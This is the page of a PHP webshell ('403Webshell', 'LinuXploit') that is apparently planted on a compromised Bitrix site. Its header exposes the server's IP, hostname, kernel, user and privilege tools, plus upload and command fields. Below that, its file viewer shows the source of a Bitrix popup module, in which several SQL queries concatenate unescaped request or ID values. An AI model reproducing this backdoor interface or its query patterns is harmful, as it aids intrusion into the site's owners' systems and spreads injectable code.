403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/cvetdv.ru/bitrix/modules/skyweb24.popuppro/classes/general/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/cvetdv.ru/bitrix/modules/skyweb24.popuppro/classes/general/popuppro_edit.php
<?

use \Bitrix\Main\Application;
use Bitrix\Main;
use Bitrix\Main\Localization\Loc;
use Bitrix\Main\UserConsent\Internals\AgreementTable;
use Bitrix\Main\UserConsent\Agreement;
use Skyweb24\Popuppro\Repository\RepositoryEventTemplateSms;
use Skyweb24\Popuppro\Service\Event\ServiceSendCouponPhone;

Loc::loadMessages(__FILE__);

class popupproEdit extends popuppro
{

    public function getPostTemplate()
    {
        $tmpSettings = $this->getSetting($this->idPopup);
        $rsET = CEventType::GetByID("SKYWEB24_POPUPPRO_SENDER", LANGUAGE_ID);
        if(!$arET = $rsET->Fetch()) {
            $et = new CEventType;
            $et->Add([
                "LID"         => 'ru',
                "EVENT_NAME"  => "SKYWEB24_POPUPPRO_SENDER",
                "NAME"        => GetMessage("skyweb24.popuppro_EVENT_TYPE_NAME"),
                "DESCRIPTION" =>
'#EMAIL# - mail
#NAME# - name
#PHONE# - phone
#DESCRIPTION# - description
#EMAIL_TITLE# - email_title
#NAME_TITLE# - name_title
#PHONE_TITLE# - phone_title
#DESCRIPTION_TITLE# - description_title'
            ]);
            $tmpSettings['row']['cont_posttemplate'] = '';
        }
        if(empty($tmpSettings['row']['cont_posttemplate'])) {
            $rsSites = CSite::GetList($by = "sort", $order = "desc");
            $lids = [];
            while($arSite = $rsSites->Fetch()) {
                $lids[] = $arSite['LID'];
            }
            $emess = new CEventMessage;
            $tmpSettings['row']['cont_posttemplate'] = $emess->Add([
                'EVENT_NAME' => 'SKYWEB24_POPUPPRO_SENDER',
                'ACTIVE'     => 'Y',
                'LID'        => $lids,
                'EMAIL_FROM' => '#DEFAULT_EMAIL_FROM#',
                'EMAIL_TO'   => '#DEFAULT_EMAIL_FROM#',
                'SUBJECT'    => GetMessage("skyweb24.popuppro_POST_SEND") . ' #NAME_FORM#',
                'BODY_TYPE'  => 'text',
                'MESSAGE'    => '
#EMAIL_TITLE# - #EMAIL#
#NAME_TITLE# - #NAME# 
#PHONE_TITLE# - #PHONE#
#DESCRIPTION_TITLE# - #DESCRIPTION#'
            ]);
        }
        return $tmpSettings['row']['cont_posttemplate'];
    }

    public function editPopup(\Bitrix\Main\HttpRequest $request)
    {

        if(!$request->isPost()){
            return false;
        }


        $settings = ['view' => [], 'condition' => []];

        $viewStructure = $this->getTemplates();
        $viewStructure = $viewStructure[$request->getPost("type")];

        $settings['view']['type'] = $request->getPost("type");
        $settings['view']['color_style'] = $request->getPost("color_style");
        $settings['view']['template'] = $request->getPost("template");

        foreach($viewStructure as $nextViewEl) {
            if($nextViewEl['template'] == $settings['view']['template']) {
                break;
            }
        }

        $viewStructure = $nextViewEl['props'];

        foreach($viewStructure as $keyNextViewEl => $nextViewEl) {

            $tmpPost = $request->getPost($keyNextViewEl);

            if($keyNextViewEl == 'EMAIL_TEMPLATE') {
                if($request->getPost('id_popup') == 'new') {


                    $obTemplate = new CEventMessage;
                    $template['LID'] = [];
                    $sites = Bitrix\Main\SiteTable::getList();
                    while($s = $sites->Fetch())
                        $template['LID'][] = $s['LID'];
                    $template['EVENT_NAME'] = "SKYWEB24_POPUPPRO_SEND_COUPON";
                    $template['ACTIVE'] = 'Y';
                    $template['EMAIL_FROM'] = '#DEFAULT_EMAIL_FROM#';
                    $template['EMAIL_TO'] = '#EMAIL#';
                    $template['SUBJECT'] = GetMessage("skyweb24.popuppro_TEMPLATE_SUBJECT");
                    $template['BODY_TYPE'] = 'html';
                    $template['MESSAGE'] = GetMessage("skyweb24.popuppro_TEMPLATE_MESSAGE");
                    $tmpPost = $obTemplate->Add($template);

                }
            }
            if($keyNextViewEl == 'MAIL_TEMPLATE') {
                if($request->getPost('id_popup') == 'new') {
                    $keyPost = 'SKYWEB24_POPUPPRO_ROULETTE_SEND';
                    $rsET = CEventType::GetList(['EVENT_NAME' => $keyPost]);
                    if(!$arET = $rsET->Fetch()) {
                        $obEventType = new CEventType;
                        $obEventType->Add([
                            'LID'         => 'ru',
                            'EVENT_NAME'  => $keyPost,
                            "NAME"        => GetMessage("skyweb24.popuppro_EVENT_NAME_ROULETTE"),
                            "DESCRIPTION" => str_ireplace("\t", '', GetMessage("skyweb24.popuppro_EVENT_DESCRIPTION_ROULETTE"))
                        ]);
                    }
                    $obTemplate = new CEventMessage;
                    $template['LID'] = [];
                    $sites = Bitrix\Main\SiteTable::getList();
                    while($s = $sites->Fetch())
                        $template['LID'][] = $s['LID'];
                    $template['EVENT_NAME'] = $keyPost;
                    $template['ACTIVE'] = 'Y';
                    $template['EMAIL_FROM'] = '#DEFAULT_EMAIL_FROM#';
                    $template['EMAIL_TO'] = '#EMAIL#';
                    $template['SUBJECT'] = GetMessage("skyweb24.popuppro_TEMPLATE_SUBJECT_ROULETTE");
                    $template['BODY_TYPE'] = 'html';
                    $template['MESSAGE'] = GetMessage("skyweb24.popuppro_TEMPLATE_MESSAGE_ROULETTE");
                    $tmpPost = $obTemplate->Add($template);
                }
            }
            if($keyNextViewEl == 'PHONE_TEMPLATE') {
                if($request->getPost('id_popup') == 'new') {
                    $this->createSmsTemplate();
                }
            }
            if($keyNextViewEl == 'EMAIL_TEMPLATE_D') {
                if($request->getPost('id_popup') == 'new') {
                    $keyPost = 'SKYWEB24_POPUPPRO_DISCOUNT_SEND';
                    $rsET = CEventType::GetList(['EVENT_NAME' => $keyPost]);
                    if(!$arET = $rsET->Fetch()) {
                        $obEventType = new CEventType;
                        $obEventType->Add([
                            'LID'         => 'ru',
                            'EVENT_NAME'  => $keyPost,
                            "NAME"        => GetMessage("skyweb24.popuppro_EVENT_NAME_DISCOUNT"),
                            "DESCRIPTION" => str_ireplace("\t", '', GetMessage("skyweb24.popuppro_EVENT_DESCRIPTION_DISCOUNT"))
                        ]);
                    }
                    $obTemplate = new CEventMessage;
                    $template['LID'] = [];
                    $sites = Bitrix\Main\SiteTable::getList();
                    while($s = $sites->Fetch())
                        $template['LID'][] = $s['LID'];
                    $template['EVENT_NAME'] = $keyPost;
                    $template['ACTIVE'] = 'Y';
                    $template['EMAIL_FROM'] = '#DEFAULT_EMAIL_FROM#';
                    $template['EMAIL_TO'] = '#EMAIL#';
                    $template['SUBJECT'] = GetMessage("skyweb24.popuppro_TEMPLATE_SUBJECT_DISCOUNT");
                    $template['BODY_TYPE'] = 'html';
                    $template['MESSAGE'] = GetMessage("skyweb24.popuppro_TEMPLATE_MESSAGE_DISCOUNT");
                    $tmpPost = $obTemplate->Add($template);
                }
            }

            $currentVal = (!isset($tmpPost)) ? $nextViewEl : $tmpPost;

            if("INTEG_CRM_ACTIVE" == $keyNextViewEl){
                $currentVal = empty($tmpPost) ? "N" : "Y";
            }


            $settings['view']['props'][$keyNextViewEl] = $currentVal;
        }

        $conditionSet = $this->getConditions();
        foreach($conditionSet as $keyNextCond => $nextCond) {
            if($keyNextCond == 'timeInterval') {
                $settings['condition']['timeInterval'] = '';
                $tmpPeriodFrom = $request->getPost('period_from');
                $tmpPeriodTo = $request->getPost('period_to');
                if(!empty($tmpPeriodFrom) || !empty($tmpPeriodTo)) {
                    $settings['condition']['timeInterval'] = $tmpPeriodFrom . '#' . $tmpPeriodTo;
                }
            }
            else if($keyNextCond == 'dateStart' || $keyNextCond == 'dateFinish') {
                $settings['condition'][$keyNextCond] = MakeTimeStamp($request->getPost($keyNextCond), CSite::GetDateFormat("FULL"));
            }
            else if($keyNextCond == 'saleIDProdInBasket') {
                $tmpProds = [];
                $tmpProducts = $request->getPost('saleIDProdInBasket');
                if(!empty($tmpProducts)) {
                    foreach($request->getPost('saleIDProdInBasket') as $nextProd) {
                        if(!empty($nextProd)) {
                            $tmpProds[] = $nextProd;
                        }
                    }
                }
                $settings['condition'][$keyNextCond] = (count($tmpProds) == 0) ? '' : $tmpProds;
            }
            else if($keyNextCond == 'rule') {

                $rules = $this->ConvertRequest($request->getPost($keyNextCond));

                $checkValid = serialize($rules);
                $checkValid = unserialize($checkValid);

                if(!$checkValid) {
                    return ['status' => 'error', 'data' => GetMessage('skyweb24.popuppro_ERROR_RULES')];
                }
                $settings['condition'][$keyNextCond] = $rules;

            }
            else {
                $settings['condition'][$keyNextCond] = $request->getPost($keyNextCond);
            }
        }

        //contactsSetting
        if($settings['view']['type'] == 'contact' OR $settings['view']['type'] == 'coupon') {
            $contactSendMail = $request->getPost("contact_send_mail");
            $contactSaveToIblock = $request->getPost("contact_save_to_iblock");
            $contactIblock = $request->getPost("contact_iblock");
            $contactSaveToList = $request->getPost("contact_save_to_list");
            $contactRegister = $request->getPost("contact_register");
            if(
                !empty($contactSendMail) ||
                (!empty($contactSaveToIblock) && !empty($contactIblock)) ||
                !empty($contactSaveToList) ||
                !empty($contactRegister)
            ) {
                if(!empty($contactSaveToList)) {
                    $settings['contact']['emailList'] = 'Y';
                }
                if(!empty($contactSaveToIblock) && !empty($contactIblock)) {
                    $settings['contact']['iblock'] = $contactIblock;
                }
                if(!empty($contactSendMail)) {
                    $settings['contact']['posttemplate'] = $this->getPostTemplate();
                }
                if(!empty($contactRegister)) {
                    $settings['contact']['register'] = $contactRegister;
                }
            }

            $contactGroup = $request->getPost("contact_groupmail");
            if(!empty($contactSaveToList) && !empty($contactGroup)) {
                $settings['contact']['groupmail'] = $contactGroup;
            }
        }

        $timer_array = ['banner', 'video', 'action', 'contact', 'html', 'coupon', 'roulette', 'discount', 'thimbles'];
        if(in_array($settings['view']['type'], $timer_array)) {
            $settings['timer'] = [];
            $timerEnabled = $request->getPost("timer_enable");

            $timerTime = $request->getPost("timer_date");
            $timerText = $request->getPost("timer_text");
            $timerLeft = $request->getPost("timer_left");
            $timerRight = $request->getPost("timer_right");
            $timerTop = $request->getPost("timer_top");
            $timerBottom = $request->getPost("timer_bottom");
            $timer_daily = $request->getPost("timer_daily");
            $daily_time = $request->getPost("daily_time");
            $settings['timer']['enabled'] = $timerEnabled;
            if(strlen($timerTime) == 10) {
                $timerTime = $timerTime . ' 00:00:00';
            }
            $settings['timer']['date'] = $timerTime;
            $settings['timer']['text'] = $timerText;
            $settings['timer']['left'] = $timerLeft;
            $settings['timer']['right'] = $timerRight;
            $settings['timer']['top'] = $timerTop;
            $settings['timer']['bottom'] = $timerBottom;
            $settings['timer']['daily'] = $timer_daily;
            $settings['timer']['daily_time'] = $daily_time;
        }

        if($settings['view']['type'] == 'roulette') {
            $countRow = $request->getPost("roulette_element_count");

            for($i = 1; $i <= $countRow; $i++) {
                $settings['roulett'][$i]['text'] = $request->getPost("roulette_" . $i . "_text");
                $settings['roulett'][$i]['color'] = $request->getPost("roulette_" . $i . "_color");
                $settings['roulett'][$i]['rule'] = $request->getPost("roulette_" . $i . "_rule");
                $settings['roulett'][$i]['chance'] = $request->getPost("roulette_" . $i . "_chance");
                $settings['roulett'][$i]['gravity'] = $request->getPost("roulette_" . $i . "_gravity");
            }

            $settings['roulett']['count'] = $countRow;
        }

        if($settings['view']['type'] == 'thimbles') {

            if(!empty($_REQUEST['thimbles_text'])) {
                for($i = 0; $i < count($_REQUEST['thimbles_text']); $i++) {
                    $settings['thimbles']['list_wins'][$i]["text"] = $_REQUEST['thimbles_text'][$i];
                    $settings['thimbles']['list_wins'][$i]["prizeId"] = $_REQUEST['thimbles_prize'][$i];
                    $settings['thimbles']['list_wins'][$i]["chance"] = $_REQUEST['thimbles_chance'][$i];
                    $settings['thimbles']['list_wins'][$i]["gravity"] = $_REQUEST['thimbles_gravity'][$i];
                }
            }
        }

        foreach($request as $key => $query) {
            if(mb_substr($key, 0, 3) == "WS_") {
                $settings['view']['props']['WINDOW_SUCCESS'][$key] = $request[$key];
            }
        }

        if($settings['view']['props']['BWP_ACTIVE'] == "on") {
            $settings['view']['props']['BWP_ACTIVE'] = "Y";
        }else{
            $settings['view']['props']['BWP_ACTIVE'] = "N";
        }


        global $DB;
        $serviceName = $request->getPost("service_name");
        $serviceName = (!empty($serviceName)) ? $serviceName : GetMessage("skyweb24.popuppro_TABCOND_SERVICE_NAME") . '_' . $this->idPopup;
        $arFieldsInsert = [
            'sort'     => $DB->ForSql($request->getPost("sort")),
            'active'   => "'" . $DB->ForSql($request->getPost("active")) . "'",
            'name'     => "'" . $DB->ForSql($serviceName) . "'",
            'type'     => "'" . $DB->ForSql($request->getPost("type")) . "'",
            'settings' => "'" . $DB->ForSql(serialize($settings)) . "'"
        ];
        if(!empty($settings['contact']['posttemplate'])) {
            $arFieldsInsert['cont_posttemplate'] = $settings['contact']['posttemplate'];
        }
        if(!empty($settings['contact']['iblock'])) {
            $arFieldsInsert['cont_iblock'] = $settings['contact']['iblock'];
        }
        if($request->getPost("id_popup") == 'new') {
            global $APPLICATION;
            $ID = $DB->Insert($this->tableSetting, $arFieldsInsert, $err_mess . __LINE__);
            LocalRedirect($APPLICATION->GetCurPageParam("id=" . $ID, ["id"]));
        }
        else {
            $DB->Update($this->tableSetting, $arFieldsInsert, "WHERE id=" . $request->getPost("id_popup"), $err_mess . __LINE__);
            $ID = $request->getPost("id_popup");
        }
        if(strlen($strError) > 0) {
            return ['status' => 'error', 'data' => $strError];
        }
        return ['status' => 'success', 'data' => $ID];
    }

    /**
     * @throws Exception
     * @return int|array
     */
    private function createSmsTemplate()
    {
        return (new RepositoryEventTemplateSms())->add([
            "EVENT_NAME" => ServiceSendCouponPhone::EVENT_NAME,
            "ACTIVE" => "Y",
            "SENDER" => "#DEFAULT_SENDER#",
            "RECEIVER" => "#USER_PHONE#",
            "MESSAGE" => "#COUPON#",
            "LANGUAGE_ID" => "ru"
        ]);
    }

    public function editFromTableList($id, $arFields)
    {
        global $DB;
        $res = $DB->Query('select * from ' . $this->tableSetting . ' where id=' . $id . ' limit 1;');
        if($row = $res->Fetch()) {
            $tmpSetting = unserialize($row['settings']);
            $updFields = [];
            $updFields['active'] = "'N'";
            $tmpSetting['condition']['active'] = 'N';
            if(!empty($arFields['active'])) {
                $updFields['active'] = "'" . $arFields['active'] . "'";
                $tmpSetting['condition']['active'] = $arFields['active'];
            }
            if(!empty($arFields['SORT'])) {
                $updFields['sort'] = intval($arFields['SORT']);
                $tmpSetting['condition']['sort'] = intval($arFields['SORT']);
            }
            if(!empty($arFields['NAME'])) {
                $updFields['name'] = "'" . $DB->ForSql($arFields['NAME']) . "'";
                $tmpSetting['condition']['service_name'] = $arFields['NAME'];
            }
            $updFields['settings'] = "'" . serialize($tmpSetting) . "'";
            $DB->Update($this->tableSetting, $updFields, "WHERE id=" . $id, $err_mess . __LINE__);
        }
    }

    public function getAllPopups($data = [])
    {

        global $DB;
        $res = $DB->Query('select * from ' . $this->tableSetting . ' order by id;');
        $retArr = [];
        while($row = $res->Fetch()) {

            switch($data['LIST']) {
                case "prevpopup":
                {
                    $retArr[$row['id']] = $row['name'];
                    break;
                }
                default:
                    $retArr[$row['id']] = unserialize($row['settings']);
                    break;
            }
        }

        return $retArr;
    }

    public function getCountTypePopups()
    {
        global $DB;
        //$res = $DB->Query('SELECT `id`, `type`, `name`, COUNT(`type`) AS `count` FROM ' . $this->tableSetting . ' WHERE `active` = "Y"  GROUP BY `type` ');
        $res = $DB->Query('SELECT min(`type`) as type, COUNT(`type`) AS `count` FROM ' . $this->tableSetting . ' WHERE `active` = "Y"  GROUP BY `type` ');
        $countTypePopups = [];
        while($row = $res->Fetch()) {
            $countTypePopups[$row['type']] = $row;
        }
        return $countTypePopups;
    }

    public function getCountStatShow($type)
    {
        global $DB;
        $res = $DB->Query("SELECT SUM(`stat_show`) AS `count_stat_show` FROM {$this -> tableSetting}  WHERE `type` = '{$type}' AND `active` = 'Y'");
        $retArr = [];
        while($row = $res->Fetch()) {
            return $row['count_stat_show'];
        }
    }

    public function getCountStatAction($type)
    {
        global $DB;
        $res = $DB->Query("SELECT SUM(`stat_action`) AS `count_stat_action` FROM {$this -> tableSetting}  WHERE `type` = '{$type}' AND `active` = 'Y'");
        $retArr = [];
        while($row = $res->Fetch()) {
            return $row['count_stat_action'];
        }
    }

    public function getStatConversion($id)
    {
        global $DB;
        $table = $this->tableSetting;
        $res = $DB->Query("SELECT `stat_action`, `stat_show` FROM {$table} WHERE `id` = {$id}");
        return $res->Fetch();
    }

    public function convertToUtf(&$item, $key)
    {
        $item = iconv(LANG_CHARSET, "UTF-8", $item);
    }

    public function setTemplate($type, $template, $newname, $colorStyle, $templateTypeParent)
    {
        global $DB;
        if(LANG_CHARSET == 'windows-1251') {
            $newname = iconv("UTF-8", LANG_CHARSET, $newname);
        }
        $oldPath = '/bitrix/components/skyweb24/popup.pro/templates/' . $type . '_' . $template;
        $newPath = '/bitrix/components/skyweb24/popup.pro/templates/' . $type . '_custom_';
        if(file_exists($_SERVER["DOCUMENT_ROOT"] . $oldPath)) {
            $templates = $this->getTemplatesPreset();
            foreach($templates[$type] as $nextTemplate) {
                if($nextTemplate['template'] == $template) {

                    $copyTemplate = $nextTemplate;
                    $copyTemplate['name'] = $newname;
                    $copyTemplate['active'] = false;
                    $copyTemplate['color_style'] = $colorStyle;
                    $copyTemplate['template_type_parent'] = $templateTypeParent;

                    $ID = $DB->Insert($this->tableTemplates, [
                        'type'     => "'" . $DB->ForSql($type) . "'",
                        'name'     => "'" . $DB->ForSql($newname) . "'",
                        'template' => "'start'",
                    ], $err_mess . __LINE__);

                    $copyTemplate['template'] = 'custom_' . $ID;
                    
                    $DB->Update($this->tableTemplates, [
                        'template' => "'" . $DB->ForSql(serialize($copyTemplate)). "'",
                    ], "WHERE id=" . $ID, $err_mess . __LINE__);
                    CopyDirFiles($_SERVER["DOCUMENT_ROOT"] . $oldPath, $_SERVER["DOCUMENT_ROOT"] . $newPath . $ID, true, true, false);
                    if(LANG_CHARSET == 'windows-1251') {
                        array_walk_recursive($copyTemplate, [$this, 'convertToUtf']);
                    }
                    return [
                        'popup'   => $copyTemplate,
                        'newPath' => $newPath . $ID . '/template.php',
                        'code'    => "custom_" . $ID,
                        'id'      => $ID
                    ];
                }
            }
        }
        else {
            return false;
        }
    }

    public function CopyPopup($id)
    {
        global $DB;
        $res = $DB->Query('select sort,active,name,type,settings,cont_iblock,cont_posttemplate from ' . $this->tableSetting . ' where id=' . $id);
        $tmpFields = [];
        if($r = $res->Fetch()) {
            foreach($r as $code => $value)
                $tmpFields[$code] = "'" . $DB->ForSql($value) . "'";
            $res = $DB->Insert($this->tableSetting, $tmpFields, $err_mess . __LINE__);
            return $res;
        }
        else {
            return false;
        }
    }

}

?>

Youez - 2016 - github.com/yon3zu
LinuXploit